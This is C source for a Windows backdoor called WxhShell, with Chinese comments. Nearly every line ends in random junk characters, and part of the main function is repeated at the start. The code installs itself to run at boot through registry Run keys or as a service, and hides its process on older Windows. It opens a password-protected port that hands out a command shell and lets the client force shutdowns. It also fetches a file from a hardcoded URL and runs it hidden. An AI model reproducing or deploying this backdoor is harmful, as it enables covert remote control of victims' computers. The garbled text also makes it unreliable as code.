if(!OsIsNt) { V36u%zdX5n
// 如果时win9x，隐藏进程并且设置为注册表启动 [_T6
HideProc(); Ly46S
StartWxhshell(lpCmdLine); >O]u4G!
} !w1acmo<_
else .R^R32ln
if(StartFromService()) QXI#gA =
// 以服务方式启动 q}PUwN6
StartServiceCtrlDispatcher(DispatchTable); mX/'Fta
else 0g8ykGyx
// 普通方式启动 \B4f5L8k
StartWxhshell(lpCmdLine); _<Ip0?N
U| T}0
return 0; Sq]VtQ(
} 8q]_> X
^*G UcQ$
Prc(
5Vc~yMz
=========================================== 0VnRtLnqI
ZAJ~Tbm[f
kfY. 9$(d
xLdkeuL[%
%MCJ%Ph
&8;Fi2}(L
" /z m+
(I/ZI'Ydy
#include <stdio.h> U(+%iD60i
#include <string.h> g'+2bQ
#include <windows.h> zYxA#TZL
#include <winsock2.h> BN&eU'Dl]
#include <winsvc.h> ! FVD_8
#include <urlmon.h> RD6>\9
=qvn?I^/
#pragma comment (lib, "Ws2_32.lib") <S^Hy&MD>
#pragma comment (lib, "urlmon.lib") ux8K$$$
o)wOXF
#define MAX_USER 100 // 最大客户端连接数 1@t8i?:h
#define BUF_SOCK 200 // sock buffer v4]#Nc$~T
#define KEY_BUFF 255 // 输入 buffer ),>whCtsI
wwNkJ+
#define REBOOT 0 // 重启 c!kzwc(
#define SHUTDOWN 1 // 关机 %x./>-[t
+TW,!.NBG
#define DEF_PORT 5000 // 监听端口 fh*7VuAc
ZcHd.1fXh
#define REG_LEN 16 // 注册表键长度 !<&To
#define SVC_LEN 80 // NT服务名长度 ]n!oa
N(e>]ui
// 从dll定义API a51}~V1
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); )j QrD`
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); iu9+1+-
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); QYj*|p^x
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Y .E.(\
]DUmp6
// wxhshell配置信息 y1h3Ch>Y
struct WSCFG { DW>O]\I
int ws_port; // 监听端口 CHi t{ @9
char ws_passstr[REG_LEN]; // 口令 1@N4Y9o
int ws_autoins; // 安装标记, 1=yes 0=no BXNC(^
char ws_regname[REG_LEN]; // 注册表键名 bw)E;1zo
char ws_svcname[REG_LEN]; // 服务名 :*vSC:q
char ws_svcdisp[SVC_LEN]; // 服务显示名 _}gfec4o
char ws_svcdesc[SVC_LEN]; // 服务描述信息 e#vGrLs.
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 }Ui)xi:8
int ws_downexe; // 下载执行标记, 1=yes 0=no \maj5VlJ
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" WOeG3jMz?
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 (Z0.H3
Vp1Q^`a{G
}; 9.:&u/e
B~E>=85z
// default Wxhshell configuration NxzAlu
struct WSCFG wscfg={DEF_PORT, 24po}nrO
"xuhuanlingzhe", >[N6_*K]
1, _PLZ_c:O
"Wxhshell", e< G[!m
"Wxhshell", =eR#]d
"WxhShell Service", .zy2_3:
"Wrsky Windows CmdShell Service", /uPMzl
"Please Input Your Password: ", #3O$B*gV6
1, &gP1=P,!
"http://www.wrsky.com/wxhshell.exe", ;Za^).=
"Wxhshell.exe" sHPlNwyy
}; S"fqE%
R2qz>kyyB
// 消息定义模块 Pz|}[Cx-
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; wH\ K'/
char *msg_ws_prompt="\n\r? for help\n\r#>"; A9WOu*G1O
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; &?I3xzvK
char *msg_ws_ext="\n\rExit."; BwYR"
char *msg_ws_end="\n\rQuit."; H? %I((+
char *msg_ws_boot="\n\rReboot..."; bo??91B^7
char *msg_ws_poff="\n\rShutdown..."; djn<Oc`
char *msg_ws_down="\n\rSave to "; 5>:p'zI
uG/bCb+V
char *msg_ws_err="\n\rErr!"; KkJE-k*D+w
char *msg_ws_ok="\n\rOK!"; Oiw!d6"Ovq
V0bKtg1f?-
char ExeFile[MAX_PATH]; !-7<x"avm
int nUser = 0; >J,IxRGi
HANDLE handles[MAX_USER]; bv``PSb3
int OsIsNt; fG<[zt\e
#%]?e N
SERVICE_STATUS serviceStatus; Pk8(2fAYk
SERVICE_STATUS_HANDLE hServiceStatusHandle; CX7eCo
=T$2Qo8
// 函数声明 BOl*. t
int Install(void); P#/s5D8
int Uninstall(void); T2to!*T
int DownloadFile(char *sURL, SOCKET wsh); _AiGD
int Boot(int flag); i7?OZh*f
void HideProc(void); 4)9Pgp:
int GetOsVer(void); {!t6& A
int Wxhshell(SOCKET wsl); OYOczb]
void TalkWithClient(void *cs); BO 3z$c1yU
int CmdShell(SOCKET sock); ^C8f(
int StartFromService(void); HmV JkkksJ
int StartWxhshell(LPSTR lpCmdLine); m.U&O=]5
'1lz`CAB+
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ` kZ"5}li
VOID WINAPI NTServiceHandler( DWORD fdwControl ); =I$:-[(
nB |fw"
// 数据结构和表定义 S3dcE"hg
SERVICE_TABLE_ENTRY DispatchTable[] = Egl1$,e
{ 3H5<w4yk
{wscfg.ws_svcname, NTServiceMain}, 7':<I-Fm
{NULL, NULL} <*opVy^
}; %%Wn:c>
1k)`C<l
// 自我安装 O.?q8T)n82
int Install(void) PR>%@-Vgj
{ mTa^At"
char svExeFile[MAX_PATH]; V/8yW3]Xy
HKEY key; <h~_7Dn
strcpy(svExeFile,ExeFile); "'c =(P
sv*xO7D.
// 如果是win9x系统，修改注册表设为自启动 *L5L.: Ze
if(!OsIsNt) { z"!=A}i
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { B 3eNvUFZg
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); L_AQS9a^D
RegCloseKey(key); -vS7%Fbr
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2J7JEv|
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &wB?ks
RegCloseKey(key); W0Q;1${
return 0; h='@Q_1Sb
} <gSZ<T
} zQx7qx
} WtbOm
else { YifTC-Q;
1<f,>BQ+
// 如果是NT以上系统，安装为系统服务 ^^(4xHN
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Xx=.;FYk
if (schSCManager!=0) GnW_^$Fs
{ SVT'fPm1M
SC_HANDLE schService = CreateService }/z\%Y
( wk6tdY{&s
schSCManager, u=B,i#>s
wscfg.ws_svcname, _lG\_6oJ,
wscfg.ws_svcdisp, NZ~"2~Hh
SERVICE_ALL_ACCESS, #]Q.B\\
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , K-7i4 ~
SERVICE_AUTO_START, G;bE_O
SERVICE_ERROR_NORMAL, Y.8mgy>
svExeFile, mr`EcO0
NULL, zC$(/nZ
NULL, a~;`&Uj
NULL, xwrleB
NULL, u}KEH@yv
NULL nL* SNQ_
); ,m.IhnCV\
if (schService!=0) RkBbu4uQ-
{ :WdiH)Zv
CloseServiceHandle(schService); W_G'wU3R
CloseServiceHandle(schSCManager); lmr:PX
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ESv&x6H
strcat(svExeFile,wscfg.ws_svcname); wz5*?[4
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 0t}&32lL&
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Amvl/bO
RegCloseKey(key); (B;rjpK
return 0; WUqfY?5
} J9/}ZD^
} u:&Lf
CloseServiceHandle(schSCManager); G |vG5$Nf
} 97(*-e=e
} . vQCX1V(
j*N:Kdzvl
return 1; cXvq=Rb
} $v+t~b
p'IF2e&z
// 自我卸载 "# BI"
int Uninstall(void) a;e~D 9%1
{ '#0'_9}
HKEY key; p/inATH
V$fvf#T
if(!OsIsNt) { m|+g_JZ
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )%&~CW+
RegDeleteValue(key,wscfg.ws_regname); xA2"i2k9
RegCloseKey(key); ,_2ZKO/k$
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :*/`"M)'
RegDeleteValue(key,wscfg.ws_regname); Ta3qEVs
RegCloseKey(key); S-k:+4
return 0; 2Fsv_t&*>
} 4q\bnt
} Do5)ilt
} *R6Ed
else { K0O&-v0"1
rSvQarT
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); &?#G)suP
if (schSCManager!=0) vmZyvJSE
{ d%:
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); /^<Uy3F[p
if (schService!=0) [q{[Avqf
{ S( r Fa
if(DeleteService(schService)!=0) { L) ]|\|
CloseServiceHandle(schService); mxJ& IV
CloseServiceHandle(schSCManager); qE&R.I!o
return 0; |[}!E/7>b
} yk|<P\
CloseServiceHandle(schService); fSFb)+
} <wZ2S3RNA
CloseServiceHandle(schSCManager); N3J;_=<4
} |B;tv#mKD
} :v!e8kM\x
9I;d>%
return 1; .`3O4]N[
} ==\Qj{ 7`
e$3{URg
// 从指定url下载文件 yy%'9E ldc
int DownloadFile(char *sURL, SOCKET wsh) C.[abpc
{ @Js^=G2
HRESULT hr; af<R.
char seps[]= "/"; 2\p8U#""
char *token; 9zKrFqhNo
char *file; O+^l>+ZGj?
char myURL[MAX_PATH]; Gd8FXk,.!
char myFILE[MAX_PATH]; \'gb{JO
"NgfdLz
strcpy(myURL,sURL); A+&^As2
token=strtok(myURL,seps); 9=J+5V^qD<
while(token!=NULL) [Cx'a7KWL
{ LzW8)<N
file=token; 0//?,'.
token=strtok(NULL,seps); ;5bzXW#U
} $&Ntdn
fvDt_g9oI
GetCurrentDirectory(MAX_PATH,myFILE); pp#xN/V#a
strcat(myFILE, "\\"); F5|6*K
strcat(myFILE, file); \qAg]-
send(wsh,myFILE,strlen(myFILE),0); n5~7x
send(wsh,"...",3,0); N%k6*FBp~
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); {T^"`%[
if(hr==S_OK) YnzhvE
return 0; 1sqBBd"=PY
else AUm"^-@x#>
return 1; a$*)d($
mu[:b
} msyC."j0jU
qBKRm0<W
// 系统电源模块 1'[RrJ$Q
int Boot(int flag) 0#AS>K5
{ F?wfh7q
HANDLE hToken; 4Y)rgLFj
TOKEN_PRIVILEGES tkp; *,:>EcDr
q*|H*sS
if(OsIsNt) { I$Bu6x!
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); XvU^DEfW
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); PtUea
tkp.PrivilegeCount = 1; `*J;4Ju@
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \<}4D\qz
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); v\3:R,|'
if(flag==REBOOT) { wE.CZ%f
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) _R,VNk
return 0; Pd<s#
} &p)]Cl/`
else { BB?vc(d
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) *ydkx\pT
return 0; 7<<-\7`
} 5,I|beM
} [\ M$a|K
else { s[ ze8:
if(flag==REBOOT) { )AxgKBW
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) @%7IZg;P6
return 0; ET_a>]<mv
} ] rP^
else { N:j,9p0,
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) HH-A\#6J
return 0; .$r=:k_d
} ! z^%$;p
} vdn`PS'#
eF[CiO8F2
return 1; EqN<""2
} FUVoKX!#
|a3v!va
// win9x进程隐藏模块 `UC
void HideProc(void) -|ho 8alF
{ cmLGMlFT
.l| [e
HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 66P'87G
if ( hKernel != NULL ) r\OunGUP
{ WIe7>wkC
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); cBZKt
( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 4GA9oLl
FreeLibrary(hKernel); x)Y?kVw21"
} iP7 Cku}l
5s=ZA*(sY
return; @H{QHi
} NUlp4i~Q
D5o[z:V7"
// 获取操作系统版本 ewo]-BQS
int GetOsVer(void) i++a^f
{ $pV:)N4
OSVERSIONINFO winfo; YP^=b}
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 2 L>;M
GetVersionEx(&winfo); n(i Uc1Y
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 'jw?XtG
return 1; rBOxI
else }?KvT$s
return 0; g[oa'.*OB
} ~AVn$];{
R&>G6jZ?8
// 客户端句柄模块 <G9HVMiP
int Wxhshell(SOCKET wsl) .!fhy[%o:D
{ #.<Uy."z2
SOCKET wsh; ~ 4v
struct sockaddr_in client; WpPm|h
DWORD myID; 4LEWOWF}
r8.`W\SKX
while(nUser<MAX_USER) Z~g6C0
{ p<eu0B_V
int nSize=sizeof(client); `!`g&:Y
wsh=accept(wsl,(struct sockaddr *)&client,&nSize); }V:B,:
if(wsh==INVALID_SOCKET) return 1; 3 291"0
F9ys.Bc
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Frn<~
if(handles[nUser]==0) z\d{A7
closesocket(wsh); ^tMb"WO
else \dm5Em/
nUser++; prHM}n{0
} B0h|Y.S8%1
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); .3X5~OH
CIxa" MW
return 0; e=>:(^CS
} 1@dB*Jt
^(j}'p,
// 关闭 socket 1^f7
void CloseIt(SOCKET wsh) VjI=5)+~
{ 4YV0v,z
closesocket(wsh); >>cb0fH5
nUser--; 6'{/Ote
ExitThread(0); D*%?0
} Q9yIQ{>H[
6`PQP;
// 客户端请求句柄 `D%U5Jb
void TalkWithClient(void *cs) 3`JLb]6
{ m4 k:uk7N
<y S|\Z|
SOCKET wsh=(SOCKET)cs; ^n?`l ^9c$
char pwd[SVC_LEN]; 6"h,0rR
char cmd[KEY_BUFF]; v)b_bU]Hx
char chr[1]; Wbq0K6X
int i,j; 5*O*p `Ba
43VBx<"
while (nUser < MAX_USER) { NJNS8\4
_%@dlT?
if(wscfg.ws_passstr) { _VUG!?_D$5
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ){nOM$W
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^xyU*A}D
//ZeroMemory(pwd,KEY_BUFF); tx*L8'jlN
i=0; mn].8F
while(i<SVC_LEN) { -wsoJh
+]3kcm7B
// 设置超时 *;&[q{hz
fd_set FdRead; i_c'E;|
struct timeval TimeOut; Hk1[0)
FD_ZERO(&FdRead); O"M2*qiH
FD_SET(wsh,&FdRead); >\7Mf@c
TimeOut.tv_sec=8; Ybkydc
TimeOut.tv_usec=0; *8bj3A]vf
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ;p(I0X
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); r4isn^g
'OACbYgG
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); E0*KKo%
pwd=chr[0]; q4EOI
if(chr[0]==0xd || chr[0]==0xa) { :`>$B?x+
pwd=0; Mp?Gi7o=
break; :MP*Xy\7&J
} w+wg)$i
i++; b9xvLR8
} l(y,lK=YP1
1KUM!DUD
// 如果是非法用户，关闭 socket 9Q.@RO$%C
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ;*G';VuT
} ;/h&40&
&RHZ7T
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); '8yCwk
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _UA|0a!-
4 Aj<k
while(1) { i91 =h
&7 K=
ZeroMemory(cmd,KEY_BUFF); Vb8Qh601
q'Nafa&a)
// 自动支持客户端 telnet标准 H%bc.c
j=0; L>Y3t1=
while(j<KEY_BUFF) { Kqz+:E8D
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @<jm+f"MP
cmd[j]=chr[0]; j"A<qI
if(chr[0]==0xa || chr[0]==0xd) { rJTYCe1*
cmd[j]=0; `-!kqJ
break; GBl[s,g[|
} :jf/$]p
j++; *EwDwS$$
} .k-t5d
Xw#"?B(M]
// 下载文件 GJ{XlH
if(strstr(cmd,"http://")) { PavW@
send(wsh,msg_ws_down,strlen(msg_ws_down),0); kz/"5gX:
if(DownloadFile(cmd,wsh)) {4$aA*
send(wsh,msg_ws_err,strlen(msg_ws_err),0); DDq?4
else i-}Tt<^
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1=h5Z3/fj
} 0v,fY2$c
else { zM(-f|wVI)
8OMMV,QF
switch(cmd[0]) { (;;.[4,y
zsLMROo3
// 帮助 9X&=?+f
case '?': { kWacc&*|
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); bzr QQQ
break; Hr7?#ZX;e
} ?iZM.$![
// 安装 l;rA}?,.^
case 'i': { ^?2zoS#iw
if(Install()) i6f42]Jy
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4H^ACw
else 2^=8~I!n&
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ucJ}KMz
break; Ifokg~X~G
} njZJp|y6
// 卸载 \:g\?[
case 'r': { 0CvGpM,
if(Uninstall()) BIS.,
send(wsh,msg_ws_err,strlen(msg_ws_err),0); C+t0Zen
else 2rW9ja
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O+|ipw*B%
break; .^2.h
} 6<9}>Wkf
// 显示 wxhshell 所在路径 X`3_ yeQc
case 'p': { E+|K3EJ
char svExeFile[MAX_PATH]; F!phTu
strcpy(svExeFile,"\n\r"); VC0Tqk
strcat(svExeFile,ExeFile); vcCNxIzEG
send(wsh,svExeFile,strlen(svExeFile),0); q{_f"
break; +!W:gA
} *p=enflU
// 重启 2 6DX4
case 'b': { 8#HnV%|N
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); LEOri=?RF
if(Boot(REBOOT)) MGq\\hLD\-
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,(-V<>/*.|
else { XjCx`bX^<
closesocket(wsh); .zl[nx[9"D
ExitThread(0); +$#<gp"
} "O-X*>?f
break; )HC/J-
} XI|k,Ko<
// 关机 M>|ZBEK
case 'd': { :4-,Ru1C"
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); pdR\Ne0P*
if(Boot(SHUTDOWN)) ',xUU{5?
send(wsh,msg_ws_err,strlen(msg_ws_err),0); F\&{>&
else { BgD3P.;[
closesocket(wsh); z?Ok'LX
ExitThread(0); y2#"\5dC
} b9#(I~}
break; NiWAJ]Z
} I*^t!+q$
// 获取shell .)$MZyo
case 's': { XVqkw@Ia4!
CmdShell(wsh); Bm,Vu 1]t
closesocket(wsh); B @QWr;
ExitThread(0); K:jn^JN$
break; ~##FW|N)
} |nWEuKHy
// 退出 n[gE[kw
case 'x': { EnlAgL']|
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .#bf9JOE
CloseIt(wsh); @XolFOL"f"
break; Z#Kf%x.
} lH`TF_
// 离开 /+JnEFf
case 'q': { tB"9%4](
send(wsh,msg_ws_end,strlen(msg_ws_end),0); "FA.T7G
closesocket(wsh); cQuL9Xo
WSACleanup(); 1s@QsZ3
exit(1); 2/r8%Sq
break; ,3 /o7'
} Sx QA*}N
} RG'76?z
} #:0-t!<0C
;veD?|
// 提示信息 "r_wgl%
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J_Tz\bZ3)
} w-e{_R
} 3p&T?E%
nOL.%
return; r9&m^,U
} yD7}
kMurNA=
// shell模块句柄 H}5WglV.
int CmdShell(SOCKET sock) vE'{?C=EM
{ (1[59<cg]
STARTUPINFO si; Wj^e)2%
ZeroMemory(&si,sizeof(si)); p__wBUB
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; G2kU_
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; v;e8W9M
PROCESS_INFORMATION ProcessInfo; B8T$<
char cmdline[]="cmd"; `8W HVC$
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Zf@B< m
return 0; #O}}pF
} N$]er'`
Na/Y1RW
// 自身启动模式 q/U-6A[0
int StartFromService(void) Pn OWQ8=
{ {owuYVm
typedef struct zVw5(Tc
{ rMxIujx
DWORD ExitStatus; A,DBq9Z+4R
DWORD PebBaseAddress; v>} +->f
DWORD AffinityMask; &R<aRE:+R
DWORD BasePriority; Tl2t\z+ps
ULONG UniqueProcessId; /VT/KT{
ULONG InheritedFromUniqueProcessId; O+=%Mz(l
} PROCESS_BASIC_INFORMATION; L/tn;0
|cma7q}p
PROCNTQSIP NtQueryInformationProcess; @Uez2?
Z*co\ pW
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~%/Rc`
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; jn V=giBu
b/z-W`gw
HANDLE hProcess; #%p44%W
PROCESS_BASIC_INFORMATION pbi; Lkm-<
M-"j8:en
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); lWId 0eNS
if(NULL == hInst ) return 0; 4@?0wV
pd'0|
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); E?XaU~cpc
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); $~G,T g
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); z5fE<=<X_W
njy2pDC@
if (!NtQueryInformationProcess) return 0; :jl*Y-mM
|qUGB.Q
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 1XSnnkJm
if(!hProcess) return 0; _AX9Mu]
\#9LwC"8;
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; MuY:(zC%
>q:%?mi
CloseHandle(hProcess); b0$)G-E/Y
FbE/x$;~O
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^&eF916H
if(hProcess==NULL) return 0; ,@ 8+%KqG
(gBKC]zvz3
HMODULE hMod; 8 c8`"i
char procName[255]; N6y9'LGG`
unsigned long cbNeeded; |RiJ>/MK\
!2LX+*;
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); K&|h%4O
RehmVkT
CloseHandle(hProcess); ~$HB}/
Y_'ERqQ
if(strstr(procName,"services")) return 1; // 以服务启动 n N<N~
t/iI!}
return 0; // 注册表启动 b&z#ZY
} lYx_8x2
Zo3!Hs ZA
// 主模块 ;l@94)@0
int StartWxhshell(LPSTR lpCmdLine) uks75W!}U
{ h:%,>I%{
SOCKET wsl; d/7fJ8y8
BOOL val=TRUE; MgJ6{xzz
int port=0; 7=l~fKu
struct sockaddr_in door; \]tBwa
@k?vbq
if(wscfg.ws_autoins) Install(); QHk\Z
Dl;hOHvKk
port=atoi(lpCmdLine); 7AqgX0)
Tru{8]uMH
if(port<=0) port=wscfg.ws_port; 7*5B
*4cuWkQ,
WSADATA data; ^{+ry<rS>
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 6R6Ub 0
$p0nq&4c
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; AWR :~{
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); uk):z$x
door.sin_family = AF_INET; HbKE;N
door.sin_addr.s_addr = inet_addr("127.0.0.1"); +MoUh'/u
door.sin_port = htons(port); hhTtxC<:
E=sh^Q(A
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { TjW!-s?S
closesocket(wsl); `fBQ?[05.
return 1; ,-c,3/tyA
} 66v,/#K
7d:]o>
if(listen(wsl,2) == INVALID_SOCKET) { /G||_Hc
closesocket(wsl); > G\0Z[<v,
return 1; oB:7R^a
} 1V%tev9a
Wxhshell(wsl); jRK}H*uem
WSACleanup(); Y <6|z3
R|st<P
return 0; 0@ `]m
k%.v`H!
} \]ib%,:YU
2.q Zs8&
// 以NT服务方式启动 hY"eGaoF"
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 6V;Dcfvi
{ @ st>#]i4
DWORD status = 0; [?]N GTr#
DWORD specificError = 0xfffffff; 7H7 Xbi@
O<m46mwM
serviceStatus.dwServiceType = SERVICE_WIN32; [EAOk=X
serviceStatus.dwCurrentState = SERVICE_START_PENDING; 0,Ds1y^
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; bfxE}>
serviceStatus.dwWin32ExitCode = 0; 5nG\J g7
serviceStatus.dwServiceSpecificExitCode = 0; "Lp.*o
serviceStatus.dwCheckPoint = 0; ng1E'c]0@
serviceStatus.dwWaitHint = 0; B>2=IZ
^{Y,`F
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); eD>b|U=/
if (hServiceStatusHandle==0) return; +b|F_
k6tCfq;
status = GetLastError(); =M\yh,s!
if (status!=NO_ERROR) bxXpw&
{ GkAd"<B
serviceStatus.dwCurrentState = SERVICE_STOPPED; *6s_7{;
serviceStatus.dwCheckPoint = 0; {*_Ln
serviceStatus.dwWaitHint = 0; AiqKf=
serviceStatus.dwWin32ExitCode = status; LO`0^r
serviceStatus.dwServiceSpecificExitCode = specificError; 46?z*~*G
SetServiceStatus(hServiceStatusHandle, &serviceStatus); W{,fpm
return; Hv/C40uM-
} eR!#1ar
JYdb^j2c
serviceStatus.dwCurrentState = SERVICE_RUNNING; FnGKt\
serviceStatus.dwCheckPoint = 0; uo:RNokjJ
serviceStatus.dwWaitHint = 0; $fb%?n{
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); jFSR+mP!
} ]cRvdUGv
zEQ]5>mG
// 处理NT服务事件，比如：启动、停止 ?^&ih:"
VOID WINAPI NTServiceHandler(DWORD fdwControl) Ac_P^
{ -laH^<jm5
switch(fdwControl) HhbBt'fH
{ $(1t~u<17
case SERVICE_CONTROL_STOP: {v"f){
serviceStatus.dwWin32ExitCode = 0; mR0`wrt
serviceStatus.dwCurrentState = SERVICE_STOPPED; (j8*F Bq
serviceStatus.dwCheckPoint = 0; @-q,%)?0}=
serviceStatus.dwWaitHint = 0; '(]Wtx%9"
{ Wv4$Lgr
SetServiceStatus(hServiceStatusHandle, &serviceStatus); (:iMs) iO{
} \mb4leg5
return; 2[lP,;!
case SERVICE_CONTROL_PAUSE: }?m0bM
serviceStatus.dwCurrentState = SERVICE_PAUSED; rZI63S
break; g@H<Q('fJ
case SERVICE_CONTROL_CONTINUE: @rhS[^1wi+
serviceStatus.dwCurrentState = SERVICE_RUNNING; 1jC85^1Taq
break; 5gz^3R|`f
case SERVICE_CONTROL_INTERROGATE: Q& [!+s:2J
break; {|9knP
}; A}(xH`A
SetServiceStatus(hServiceStatusHandle, &serviceStatus); @]Q4K%1^"
} xU;SRB
7gX32r$%V
// 标准应用程序主函数 l$u52e!7
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) '/GB8L
{ tQ}GTqk
g~<[;6&{
// 获取操作系统版本 B)q}]Qn
OsIsNt=GetOsVer(); a^_K@
GetModuleFileName(NULL,ExeFile,MAX_PATH); U&3!=|j
Y{dSQ|xz^
// 从命令行安装 uQdeKp4(
if(strpbrk(lpCmdLine,"iI")) Install(); f1NHW|_j
wBt7S!>G
// 下载执行文件 rfDGS%!O%
if(wscfg.ws_downexe) { e N`+r
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) CI*JedO]
WinExec(wscfg.ws_filenam,SW_HIDE); 0Gu77&
} Sct
WsTIdr36x
if(!OsIsNt) { O_ #++G
// 如果时win9x，隐藏进程并且设置为注册表启动 v&:[?<6-
HideProc(); 'DW|a
StartWxhshell(lpCmdLine); g}~s"Sz
} bK "I9T #
else DY`0 `T
if(StartFromService()) SU%O\4Ty
// 以服务方式启动 .{gDw
StartServiceCtrlDispatcher(DispatchTable); m{>1#1;$t
